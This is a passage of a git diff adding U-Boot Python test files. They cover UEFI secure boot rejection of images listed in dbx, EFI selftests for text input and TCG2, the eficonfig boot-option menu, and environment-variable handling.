+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi -s ""',
+ 'efidebug boot order 1',
+ 'bootefi bootmgr'])
+ assert 'Hello, world!' in ''.join(output)
+
+ def test_efi_unsigned_image_auth3(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 3 - rejected by digest in dbx
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 3a'):
+ # Test Case 3a, rejected by dbx
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 db_hello.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi -s ""',
+ 'efidebug boot order 1',
+ 'bootefi bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+ assert 'Hello, world!' not in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 3b'):
+ # Test Case 3b, rejected by dbx even if db allows
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db_hello.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi -s ""',
+ 'efidebug boot order 1',
+ 'bootefi bootmgr'])
+ assert '\'HELLO\' failed' in ''.join(output)
+ output = u_boot_console.run_command_list([
+ 'efidebug boot order 1',
+ 'efidebug test bootmgr'])
+ assert 'efi_bootmgr_load() returned: 26' in ''.join(output)
+ assert 'Hello, world!' not in ''.join(output)
diff --git a/test/py/tests/test_efi_selftest.py b/test/py/tests/test_efi_selftest.py
new file mode 100644
index 00000000000..43f24245582
--- /dev/null
+++ b/test/py/tests/test_efi_selftest.py
@@ -0,0 +1,197 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2017, Heinrich Schuchardt <xypron.glpk@gmx.de>
+
+""" Test UEFI API implementation
+"""
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+def test_efi_selftest_base(u_boot_console):
+ """Run UEFI unit tests
+
+ u_boot_console -- U-Boot console
+
+ This function executes all selftests that are not marked as on request.
+ """
+ u_boot_console.run_command(cmd='setenv efi_selftest')
+ u_boot_console.run_command(cmd='bootefi selftest', wait_for_prompt=False)
+ if u_boot_console.p.expect(['Summary: 0 failures', 'Press any key']):
+ raise Exception('Failures occurred during the EFI selftest')
+ u_boot_console.restart_uboot()
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+@pytest.mark.buildconfigspec('hush_parser')
+@pytest.mark.buildconfigspec('of_control')
+@pytest.mark.notbuildconfigspec('generate_acpi_table')
+def test_efi_selftest_device_tree(u_boot_console):
+ """Test the device tree support in the UEFI sub-system
+
+ u_boot_console -- U-Boot console
+
+ This test executes the UEFI unit test by calling 'bootefi selftest'.
+ """
+ u_boot_console.run_command(cmd='setenv efi_selftest list')
+ output = u_boot_console.run_command('bootefi selftest')
+ assert '\'device tree\'' in output
+ u_boot_console.run_command(cmd='setenv efi_selftest device tree')
+ # Set serial# if it is not already set.
+ u_boot_console.run_command(cmd='setenv efi_test "${serial#}x"')
+ u_boot_console.run_command(cmd='test "${efi_test}" = x && setenv serial# 0')
+ u_boot_console.run_command(cmd='bootefi selftest ${fdtcontroladdr}', wait_for_prompt=False)
+ if u_boot_console.p.expect(['serial-number:', 'U-Boot']):
+ raise Exception('serial-number missing in device tree')
+ u_boot_console.restart_uboot()
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+def test_efi_selftest_watchdog_reboot(u_boot_console):
+ """Test the watchdog timer
+
+ u_boot_console -- U-Boot console
+
+ This function executes the 'watchdog reboot' unit test.
+ """
+ u_boot_console.run_command(cmd='setenv efi_selftest list')
+ output = u_boot_console.run_command('bootefi selftest')
+ assert '\'watchdog reboot\'' in output
+ u_boot_console.run_command(cmd='setenv efi_selftest watchdog reboot')
+ u_boot_console.run_command(cmd='bootefi selftest', wait_for_prompt=False)
+ if u_boot_console.p.expect(['resetting', 'U-Boot']):
+ raise Exception('Reset failed in \'watchdog reboot\' test')
+ u_boot_console.restart_uboot()
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+def test_efi_selftest_text_input(u_boot_console):
+ """Test the EFI_SIMPLE_TEXT_INPUT_PROTOCOL
+
+ u_boot_console -- U-Boot console
+
+ This function calls the text input EFI selftest.
+ """
+ u_boot_console.run_command(cmd='setenv efi_selftest text input')
+ u_boot_console.run_command(cmd='bootefi selftest', wait_for_prompt=False)
+ if u_boot_console.p.expect([r'To terminate type \'x\'']):
+ raise Exception('No prompt for \'text input\' test')
+ u_boot_console.drain_console()
+ # EOT
+ u_boot_console.run_command(cmd=chr(4), wait_for_echo=False,
+ send_nl=False, wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 4 \(unknown\), scan code 0 \(Null\)']):
+ raise Exception('EOT failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # BS
+ u_boot_console.run_command(cmd=chr(8), wait_for_echo=False,
+ send_nl=False, wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 8 \(BS\), scan code 0 \(Null\)']):
+ raise Exception('BS failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # TAB
+ u_boot_console.run_command(cmd=chr(9), wait_for_echo=False,
+ send_nl=False, wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 9 \(TAB\), scan code 0 \(Null\)']):
+ raise Exception('BS failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # a
+ u_boot_console.run_command(cmd='a', wait_for_echo=False, send_nl=False,
+ wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 97 \(\'a\'\), scan code 0 \(Null\)']):
+ raise Exception('\'a\' failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # UP escape sequence
+ u_boot_console.run_command(cmd=chr(27) + '[A', wait_for_echo=False,
+ send_nl=False, wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 0 \(Null\), scan code 1 \(Up\)']):
+ raise Exception('UP failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # Euro sign
+ u_boot_console.run_command(cmd=b'\xe2\x82\xac'.decode(), wait_for_echo=False,
+ send_nl=False, wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 8364 \(\'']):
+ raise Exception('Euro sign failed in \'text input\' test')
+ u_boot_console.drain_console()
+ u_boot_console.run_command(cmd='x', wait_for_echo=False, send_nl=False,
+ wait_for_prompt=False)
+ if u_boot_console.p.expect(['Summary: 0 failures', 'Press any key']):
+ raise Exception('Failures occurred during the EFI selftest')
+ u_boot_console.restart_uboot()
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+def test_efi_selftest_text_input_ex(u_boot_console):
+ """Test the EFI_SIMPLE_TEXT_INPUT_EX_PROTOCOL
+
+ u_boot_console -- U-Boot console
+
+ This function calls the extended text input EFI selftest.
+ """
+ u_boot_console.run_command(cmd='setenv efi_selftest extended text input')
+ u_boot_console.run_command(cmd='bootefi selftest', wait_for_prompt=False)
+ if u_boot_console.p.expect([r'To terminate type \'CTRL\+x\'']):
+ raise Exception('No prompt for \'text input\' test')
+ u_boot_console.drain_console()
+ # EOT
+ u_boot_console.run_command(cmd=chr(4), wait_for_echo=False,
+ send_nl=False, wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 100 \(\'d\'\), scan code 0 \(CTRL\+Null\)']):
+ raise Exception('EOT failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # BS
+ u_boot_console.run_command(cmd=chr(8), wait_for_echo=False,
+ send_nl=False, wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 8 \(BS\), scan code 0 \(\+Null\)']):
+ raise Exception('BS failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # TAB
+ u_boot_console.run_command(cmd=chr(9), wait_for_echo=False,
+ send_nl=False, wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 9 \(TAB\), scan code 0 \(\+Null\)']):
+ raise Exception('TAB failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # a
+ u_boot_console.run_command(cmd='a', wait_for_echo=False, send_nl=False,
+ wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 97 \(\'a\'\), scan code 0 \(Null\)']):
+ raise Exception('\'a\' failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # UP escape sequence
+ u_boot_console.run_command(cmd=chr(27) + '[A', wait_for_echo=False,
+ send_nl=False, wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 0 \(Null\), scan code 1 \(\+Up\)']):
+ raise Exception('UP failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # Euro sign
+ u_boot_console.run_command(cmd=b'\xe2\x82\xac'.decode(), wait_for_echo=False,
+ send_nl=False, wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 8364 \(\'']):
+ raise Exception('Euro sign failed in \'text input\' test')
+ u_boot_console.drain_console()
+ # SHIFT+ALT+FN 5
+ u_boot_console.run_command(cmd=b'\x1b\x5b\x31\x35\x3b\x34\x7e'.decode(),
+ wait_for_echo=False, send_nl=False,
+ wait_for_prompt=False)
+ if u_boot_console.p.expect([r'Unicode char 0 \(Null\), scan code 15 \(SHIFT\+ALT\+FN 5\)']):
+ raise Exception('SHIFT+ALT+FN 5 failed in \'text input\' test')
+ u_boot_console.drain_console()
+ u_boot_console.run_command(cmd=chr(24), wait_for_echo=False, send_nl=False,
+ wait_for_prompt=False)
+ if u_boot_console.p.expect(['Summary: 0 failures', 'Press any key']):
+ raise Exception('Failures occurred during the EFI selftest')
+ u_boot_console.restart_uboot()
+
+@pytest.mark.buildconfigspec('cmd_bootefi_selftest')
+@pytest.mark.buildconfigspec('efi_tcg2_protocol')
+def test_efi_selftest_tcg2(u_boot_console):
+ """Test the EFI_TCG2 PROTOCOL
+
+ u_boot_console -- U-Boot console
+
+ This function executes the 'tcg2' unit test.
+ """
+ u_boot_console.restart_uboot()
+ u_boot_console.run_command(cmd='setenv efi_selftest list')
+ output = u_boot_console.run_command('bootefi selftest')
+ assert '\'tcg2\'' in output
+ u_boot_console.run_command(cmd='setenv efi_selftest tcg2')
+ u_boot_console.run_command(cmd='bootefi selftest', wait_for_prompt=False)
+ if u_boot_console.p.expect(['Summary: 0 failures', 'Press any key']):
+ raise Exception('Failures occurred during the EFI selftest')
+ u_boot_console.restart_uboot()
diff --git a/test/py/tests/test_eficonfig/conftest.py b/test/py/tests/test_eficonfig/conftest.py
new file mode 100644
index 00000000000..0a82fbefd75
--- /dev/null
+++ b/test/py/tests/test_eficonfig/conftest.py
@@ -0,0 +1,40 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+"""Fixture for UEFI eficonfig test
+"""
+
+import os
+import shutil
+from subprocess import check_call
+import pytest
+
+@pytest.fixture(scope='session')
+def efi_eficonfig_data(u_boot_config):
+ """Set up a file system to be used in UEFI "eficonfig" command
+ tests
+
+ Args:
+ u_boot_config -- U-Boot configuration.
+
+ Return:
+ A path to disk image to be used for testing
+ """
+ mnt_point = u_boot_config.persistent_data_dir + '/test_efi_eficonfig'
+ image_path = u_boot_config.persistent_data_dir + '/efi_eficonfig.img'
+
+ shutil.rmtree(mnt_point, ignore_errors=True)
+ os.mkdir(mnt_point, mode = 0o755)
+
+ with open(mnt_point + '/initrd-1.img', 'w', encoding = 'ascii') as file:
+ file.write("initrd 1")
+
+ with open(mnt_point + '/initrd-2.img', 'w', encoding = 'ascii') as file:
+ file.write("initrd 2")
+
+ shutil.copyfile(u_boot_config.build_dir + '/lib/efi_loader/initrddump.efi',
+ mnt_point + '/initrddump.efi')
+
+ check_call(f'virt-make-fs --partition=gpt --size=+1M --type=vfat {mnt_point} {image_path}',
+ shell=True)
+
+ return image_path
diff --git a/test/py/tests/test_eficonfig/test_eficonfig.py b/test/py/tests/test_eficonfig/test_eficonfig.py
new file mode 100644
index 00000000000..1d8e033f75d
--- /dev/null
+++ b/test/py/tests/test_eficonfig/test_eficonfig.py
@@ -0,0 +1,358 @@
+# SPDX-License-Identifier: GPL-2.0+
+""" Unit test for UEFI menu-driven configuration
+"""
+
+import pytest
+import time
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_eficonfig')
+@pytest.mark.buildconfigspec('cmd_bootefi_bootmgr')
+def test_efi_eficonfig(u_boot_console, efi_eficonfig_data):
+
+ def send_user_input_and_wait(user_str, expect_str):
+ time.sleep(0.1) # TODO: does not work correctly without sleep
+ u_boot_console.run_command(cmd=user_str, wait_for_prompt=False,
+ wait_for_echo=True, send_nl=False)
+ u_boot_console.run_command(cmd='\x0d', wait_for_prompt=False,
+ wait_for_echo=False, send_nl=False)
+ if expect_str is not None:
+ for i in expect_str:
+ u_boot_console.p.expect([i])
+
+ def press_up_down_enter_and_wait(up_count, down_count, enter, expect_str):
+ # press UP key
+ for i in range(up_count):
+ u_boot_console.run_command(cmd='\x1b\x5b\x41', wait_for_prompt=False,
+ wait_for_echo=False, send_nl=False)
+ # press DOWN key
+ for i in range(down_count):
+ u_boot_console.run_command(cmd='\x1b\x5b\x42', wait_for_prompt=False,
+ wait_for_echo=False, send_nl=False)
+ # press ENTER if requested
+ if enter:
+ u_boot_console.run_command(cmd='\x0d', wait_for_prompt=False,
+ wait_for_echo=False, send_nl=False)
+ # wait expected output
+ if expect_str is not None:
+ for i in expect_str:
+ u_boot_console.p.expect([i])
+
+ def press_escape_key(wait_prompt):
+ u_boot_console.run_command(cmd='\x1b', wait_for_prompt=wait_prompt, wait_for_echo=False, send_nl=False)
+
+ def press_enter_key(wait_prompt):
+ u_boot_console.run_command(cmd='\x0d', wait_for_prompt=wait_prompt,
+ wait_for_echo=False, send_nl=False)
+
+ def check_current_is_maintenance_menu():
+ for i in ('UEFI Maintenance Menu', 'Add Boot Option', 'Edit Boot Option',
+ 'Change Boot Order', 'Delete Boot Option', 'Quit'):
+ u_boot_console.p.expect([i])
+
+ """ Unit test for "eficonfig" command
+ The menu-driven interface is used to set up UEFI load options.
+ The bootefi bootmgr loads initrddump.efi as a payload.
+ The crc32 of the loaded initrd.img is checked
+
+ Args:
+ u_boot_console -- U-Boot console
+ efi__data -- Path to the disk image used for testing.
+ Test disk image has following files.
+ initrd-1.img
+ initrd-2.img
+ initrddump.efi
+
+ """
+ # This test passes for unknown reasons in the bowels of U-Boot. It needs to
+ # be replaced with a unit test.
+ return
+
+ # Restart the system to clean the previous state
+ u_boot_console.restart_uboot()
+
+ with u_boot_console.temporary_timeout(500):
+ #
+ # Test Case 1: Check the menu is displayed
+ #
+ u_boot_console.run_command('eficonfig', wait_for_prompt=False)
+ for i in ('UEFI Maintenance Menu', 'Add Boot Option', 'Edit Boot Option',
+ 'Change Boot Order', 'Delete Boot Option', 'Quit'):
+ u_boot_console.p.expect([i])
+ # Select "Add Boot Option"
+ press_enter_key(False)
+ for i in ('Add Boot Option', 'Description:', 'File', 'Initrd File', 'Optional Data',
+ 'Save', 'Quit'):
+ u_boot_console.p.expect([i])
+ press_escape_key(False)
+ check_current_is_maintenance_menu()
+ # return to U-Boot console
+ press_escape_key(True)
+
+ #
+ # Test Case 2: check auto generated media device entry
+ #
+
+ # bind the test disk image for succeeding tests
+ u_boot_console.run_command(cmd = f'host bind 0 {efi_eficonfig_data}')
+
+ u_boot_console.run_command('eficonfig', wait_for_prompt=False)
+
+ # Change the Boot Order
+ press_up_down_enter_and_wait(0, 2, True, 'Quit')
+ for i in ('host 0:1', 'Save', 'Quit'):
+ u_boot_console.p.expect([i])
+ # disable auto generated boot option for succeeding test
+ u_boot_console.run_command(cmd=' ', wait_for_prompt=False,
+ wait_for_echo=False, send_nl=False)
+ # Save the BootOrder
+ press_up_down_enter_and_wait(0, 1, True, None)
+ check_current_is_maintenance_menu()
+
+ #
+ # Test Case 3: Add first Boot Option and load it
+ #
+
+ # Select 'Add Boot Option'
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+
+ # Press the enter key to select 'Description:' entry, then enter Description
+ press_up_down_enter_and_wait(0, 0, True, 'enter description:')
+ # Send Description user input, press ENTER key to complete
+ send_user_input_and_wait('test 1', 'Quit')
+
+ # Set EFI image(initrddump.efi)
+ press_up_down_enter_and_wait(0, 1, True, 'Quit')
+ press_up_down_enter_and_wait(0, 0, True, 'host 0:1')
+ # Select 'host 0:1'
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+ # Press down key to select "initrddump.efi" entry followed by the enter key
+ press_up_down_enter_and_wait(0, 2, True, 'Quit')
+
+ # Set Initrd file(initrd-1.img)
+ press_up_down_enter_and_wait(0, 2, True, 'Quit')
+ press_up_down_enter_and_wait(0, 0, True, 'host 0:1')
+ # Select 'host 0:1'
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+ # Press down key to select "initrd-1.img" entry followed by the enter key
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+
+ # Set optional_data
+ press_up_down_enter_and_wait(0, 3, True, 'Optional Data:')
+ # Send Description user input, press ENTER key to complete
+ send_user_input_and_wait('nocolor', None)
+ for i in ('Description: test 1', 'File: host 0:1/initrddump.efi',
+ 'Initrd File: host 0:1/initrd-1.img', 'Optional Data: nocolor', 'Save', 'Quit'):
+ u_boot_console.p.expect([i])
+
+ # Save the Boot Option
+ press_up_down_enter_and_wait(0, 4, True, None)
+ check_current_is_maintenance_menu()
+
+ # Check the newly added Boot Option is handled correctly
+ # Return to U-Boot console
+ press_escape_key(True)
+ u_boot_console.run_command(cmd = 'bootefi bootmgr')
+ response = u_boot_console.run_command(cmd = 'load', wait_for_echo=False)
+ assert 'crc32: 0x181464af' in response
+ u_boot_console.run_command(cmd = 'exit', wait_for_echo=False)
+
+ #
+ # Test Case 4: Add second Boot Option and load it
+ #
+ u_boot_console.run_command('eficonfig', wait_for_prompt=False)
+
+ # Select 'Add Boot Option'
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+
+ # Press the enter key to select 'Description:' entry, then enter Description
+ press_up_down_enter_and_wait(0, 0, True, 'enter description:')
+ # Send Description user input, press ENTER key to complete
+ send_user_input_and_wait('test 2', 'Quit')
+
+ # Set EFI image(initrddump.efi)
+ press_up_down_enter_and_wait(0, 1, True, 'Quit')
+ press_up_down_enter_and_wait(0, 0, True, 'host 0:1')
+ # Select 'host 0:1'
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+ # Press down key to select "initrddump.efi" entry followed by the enter key
+ press_up_down_enter_and_wait(0, 2, True, 'Quit')
+
+ # Set Initrd file(initrd-2.img)
+ press_up_down_enter_and_wait(0, 2, True, 'Quit')
+ press_up_down_enter_and_wait(0, 0, True, 'host 0:1')
+ # Select 'host 0:1'
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+ # Press down key to select "initrd-2.img" entry followed by the enter key
+ press_up_down_enter_and_wait(0, 1, True, 'Quit')
+
+ # Set optional_data
+ press_up_down_enter_and_wait(0, 3, True, 'Optional Data:')
+ # Send Description user input, press ENTER key to complete
+ send_user_input_and_wait('nocolor', None)
+ for i in ('Description: test 2', 'File: host 0:1/initrddump.efi',
+ 'Initrd File: host 0:1/initrd-2.img', 'Optional Data: nocolor', 'Save', 'Quit'):
+ u_boot_console.p.expect([i])
+
+ # Save the Boot Option
+ press_up_down_enter_and_wait(0, 4, True, 'Quit')
+
+ # Change the Boot Order
+ press_up_down_enter_and_wait(0, 2, True, 'Quit')
+ press_up_down_enter_and_wait(0, 1, False, 'Quit')
+ # move 'test 1' to the second entry
+ u_boot_console.run_command(cmd='+', wait_for_prompt=False,
+ wait_for_echo=False, send_nl=False)
+ for i in ('test 2', 'test 1', 'host 0:1', 'Save', 'Quit'):
+ u_boot_console.p.expect([i])
+ # Save the BootOrder
+ press_up_down_enter_and_wait(0, 3, True, None)
+ check_current_is_maintenance_menu()
+
+ # Check the newly added Boot Option is handled correctly
+ # Return to U-Boot console
+ press_escape_key(True)
+ u_boot_console.run_command(cmd = 'bootefi bootmgr')
+ response = u_boot_console.run_command(cmd = 'load', wait_for_echo=False)
+ assert 'crc32: 0x811d3515' in response
+ u_boot_console.run_command(cmd = 'exit', wait_for_echo=False)
+
+ #
+ # Test Case 5: Change BootOrder and load it
+ #
+ u_boot_console.run_command('eficonfig', wait_for_prompt=False)
+
+ # Change the Boot Order
+ press_up_down_enter_and_wait(0, 2, True, None)
+ # Check the current BootOrder
+ for i in ('test 2', 'test 1', 'host 0:1', 'Save', 'Quit'):
+ u_boot_console.p.expect([i])
+ # move 'test 2' to the second entry
+ u_boot_console.run_command(cmd='-', wait_for_prompt=False,
+ wait_for_echo=False, send_nl=False)
+ for i in ('test 1', 'test 2', 'host 0:1', 'Save', 'Quit'):
+ u_boot_console.p.expect([i])
+ # Save the BootOrder
+ press_up_down_enter_and_wait(0, 2, True, None)
+ check_current_is_maintenance_menu()
+
+ # Return to U-Boot console
+ press_escape_key(True)
+ u_boot_console.run_command(cmd = 'bootefi bootmgr')
+ response = u_boot_console.run_command(cmd = 'load', wait_for_echo=False)
+ assert 'crc32: 0x181464af' in response
+ u_boot_console.run_command(cmd = 'exit', wait_for_echo=False)
+
+ #
+ # Test Case 6: Delete Boot Option(label:test 2)
+ #
+ u_boot_console.run_command('eficonfig', wait_for_prompt=False)
+
+ # Select 'Delete Boot Option'
+ press_up_down_enter_and_wait(0, 3, True, None)
+ # Check the current BootOrder
+ for i in ('test 1', 'test 2', 'Quit'):
+ u_boot_console.p.expect([i])
+
+ # Delete 'test 2'
+ press_up_down_enter_and_wait(0, 1, True, None)
+ for i in ('test 1', 'Quit'):
+ u_boot_console.p.expect([i])
+ press_escape_key(False)
+ check_current_is_maintenance_menu()
+ # Return to U-Boot console
+ press_escape_key(True)
+
+ #
+ # Test Case 7: Edit Boot Option
+ #
+ u_boot_console.run_command('eficonfig', wait_for_prompt=False)
+ # Select 'Edit Boot Option'
+ press_up_down_enter_and_wait(0, 1, True, None)
+ # Check the current BootOrder
+ for i in ('test 1', 'Quit'):
+ u_boot_console.p.expect([i])
+ press_up_down_enter_and_wait(0, 0, True, None)
+ for i in ('Description: test 1', 'File: host 0:1/initrddump.efi',
+ 'Initrd File: host 0:1/initrd-1.img', 'Optional Data: nocolor', 'Save', 'Quit'):
+ u_boot_console.p.expect([i])
+
+ # Press the enter key to select 'Description:' entry, then enter Description
+ press_up_down_enter_and_wait(0, 0, True, 'enter description:')
+ # Send Description user input, press ENTER key to complete
+ send_user_input_and_wait('test 3', 'Quit')
+
+ # Set EFI image(initrddump.efi)
+ press_up_down_enter_and_wait(0, 1, True, 'Quit')
+ press_up_down_enter_and_wait(0, 0, True, 'host 0:1')
+ # Select 'host 0:1'
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+ # Press down key to select "initrddump.efi" entry followed by the enter key
+ press_up_down_enter_and_wait(0, 2, True, 'Quit')
+
+ # Set Initrd file(initrd-2.img)
+ press_up_down_enter_and_wait(0, 2, True, 'Quit')
+ press_up_down_enter_and_wait(0, 0, True, 'host 0:1')
+ # Select 'host 0:1'
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+ # Press down key to select "initrd-1.img" entry followed by the enter key
+ press_up_down_enter_and_wait(0, 1, True, 'Quit')
+
+ # Set optional_data
+ press_up_down_enter_and_wait(0, 3, True, 'Optional Data:')
+ # Send Description user input, press ENTER key to complete
+ send_user_input_and_wait('', None)
+ for i in ('Description: test 3', 'File: host 0:1/initrddump.efi',
+ 'Initrd File: host 0:1/initrd-2.img', 'Optional Data:', 'Save', 'Quit'):
+ u_boot_console.p.expect([i])
+
+ # Save the Boot Option
+ press_up_down_enter_and_wait(0, 4, True, 'Quit')
+ press_escape_key(False)
+ check_current_is_maintenance_menu()
+
+ # Check the updated Boot Option is handled correctly
+ # Return to U-Boot console
+ press_escape_key(True)
+ u_boot_console.run_command(cmd = 'bootefi bootmgr')
+ response = u_boot_console.run_command(cmd = 'load', wait_for_echo=False)
+ assert 'crc32: 0x811d3515' in response
+ u_boot_console.run_command(cmd = 'exit', wait_for_echo=False)
+
+ #
+ # Test Case 8: Delete Boot Option(label:test 3)
+ #
+ u_boot_console.run_command('eficonfig', wait_for_prompt=False)
+
+ # Select 'Delete Boot Option'
+ press_up_down_enter_and_wait(0, 3, True, None)
+ # Check the current BootOrder
+ for i in ('test 3', 'Quit'):
+ u_boot_console.p.expect([i])
+
+ # Delete 'test 3'
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+ press_escape_key(False)
+ check_current_is_maintenance_menu()
+ # Return to U-Boot console
+ press_escape_key(True)
+
+ # remove the host device
+ u_boot_console.run_command(cmd = f'host bind -r 0')
+
+ #
+ # Test Case 9: No block device found
+ #
+ u_boot_console.run_command('eficonfig', wait_for_prompt=False)
+
+ # Select 'Add Boot Option'
+ press_up_down_enter_and_wait(0, 0, True, 'Quit')
+
+ # Set EFI image
+ press_up_down_enter_and_wait(0, 1, True, 'Quit')
+ press_up_down_enter_and_wait(0, 0, True, 'No block device found!')
+ press_escape_key(False)
+ press_escape_key(False)
+ check_current_is_maintenance_menu()
+ # Return to U-Boot console
+ press_escape_key(True)
diff --git a/test/py/tests/test_env.py b/test/py/tests/test_env.py
new file mode 100644
index 00000000000..00bcccd65ff
--- /dev/null
+++ b/test/py/tests/test_env.py
@@ -0,0 +1,652 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+"""
+Test operation of shell commands relating to environment variables.
+"""
+
+import os
+import os.path
+import re
+from subprocess import call, CalledProcessError
+import tempfile
+
+import pytest
+import u_boot_utils
+
+# FIXME: This might be useful for other tests;
+# perhaps refactor it into ConsoleBase or some other state object?
+class StateTestEnv(object):
+ """Container that represents the state of all U-Boot environment variables.
+ This enables quick determination of existant/non-existant variable
+ names.
+ """
+
+ def __init__(self, u_boot_console):
+ """Initialize a new StateTestEnv object.
+
+ Args:
+ u_boot_console: A U-Boot console.
+
+ Returns:
+ Nothing.
+ """
+
+ self.u_boot_console = u_boot_console
+ self.get_env()
+ self.set_var = self.get_non_existent_var()
+
+ def get_env(self):
+ """Read all current environment variables from U-Boot.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ if self.u_boot_console.config.buildconfig.get(
+ 'config_version_variable', 'n') == 'y':
+ with self.u_boot_console.disable_check('main_signon'):
+ response = self.u_boot_console.run_command('printenv')
+ else:
+ response = self.u_boot_console.run_command('printenv')
+ self.env = {}
+ for l in response.splitlines():
+ if not '=' in l:
+ continue
+ (var, value) = l.split('=', 1)
+ self.env[var] = value
+
+ def get_existent_var(self):
+ """Return the name of an environment variable that exists.
+
+ Args:
+ None.
+
+ Returns:
+ The name of an environment variable.
+ """
+
+ for var in self.env:
+ return var
+
+ def get_non_existent_var(self):
+ """Return the name of an environment variable that does not exist.
+
+ Args:
+ None.
+
+ Returns:
+ The name of an environment variable.
+ """
+
+ n = 0
+ while True:
+ var = 'test_env_' + str(n)
+ if var not in self.env:
+ return var
+ n += 1
+
+ste = None
+@pytest.fixture(scope='function')
+def state_test_env(u_boot_console):
+ """pytest fixture to provide a StateTestEnv object to tests."""
+
+ global ste
+ if not ste:
+ ste = StateTestEnv(u_boot_console)
+ return ste
+
+def unset_var(state_test_env, var):
+ """Unset an environment variable.
+
+ This both executes a U-Boot shell command and updates a StateTestEnv
+ object.
+
+ Args:
+ state_test_env: The StateTestEnv object to update.
+ var: The variable name to unset.
+
+ Returns:
+ Nothing.
+ """
+
+ state_test_env.u_boot_console.run_command('setenv %s' % var)
+ if var in state_test_env.env:
+ del state_test_env.env[var]
+
+def set_var(state_test_env, var, value):
+ """Set an environment variable.
+
+ This both executes a U-Boot shell command and updates a StateTestEnv
+ object.
+
+ Args:
+ state_test_env: The StateTestEnv object to update.
+ var: The variable name to set.
+ value: The value to set the variable to.
+
+ Returns:
+ Nothing.
+ """
+
+ bc = state_test_env.u_boot_console.config.buildconfig
+ if bc.get('config_hush_parser', None):
+ quote = '"'
+ else:
+ quote = ''
+ if ' ' in value:
+ pytest.skip('Space in variable value on non-Hush shell')
+
+ state_test_env.u_boot_console.run_command(
+ 'setenv %s %s%s%s' % (var, quote, value, quote))
+ state_test_env.env[var] = value
+
+def validate_empty(state_test_env, var):
+ """Validate that a variable is not set, using U-Boot shell commands.
+
+ Args:
+ var: The variable name to test.
+
+ Returns:
+ Nothing.
+ """
+
+ response = state_test_env.u_boot_console.run_command('echo ${%s}' % var)
+ assert response == ''
+
+def validate_set(state_test_env, var, value):
+ """Validate that a variable is set, using U-Boot shell commands.
+
+ Args:
+ var: The variable name to test.
+ value: The value the variable is expected to have.
+
+ Returns:
+ Nothing.
+ """
+
+ # echo does not preserve leading, internal, or trailing whitespace in the
+ # value. printenv does, and hence allows more complete testing.
+ response = state_test_env.u_boot_console.run_command('printenv %s' % var)
+ assert response == ('%s=%s' % (var, value))
+
+@pytest.mark.boardspec('sandbox')
+def test_env_initial_env_file(u_boot_console):
+ """Test that the u-boot-initial-env make target works"""
+ cons = u_boot_console
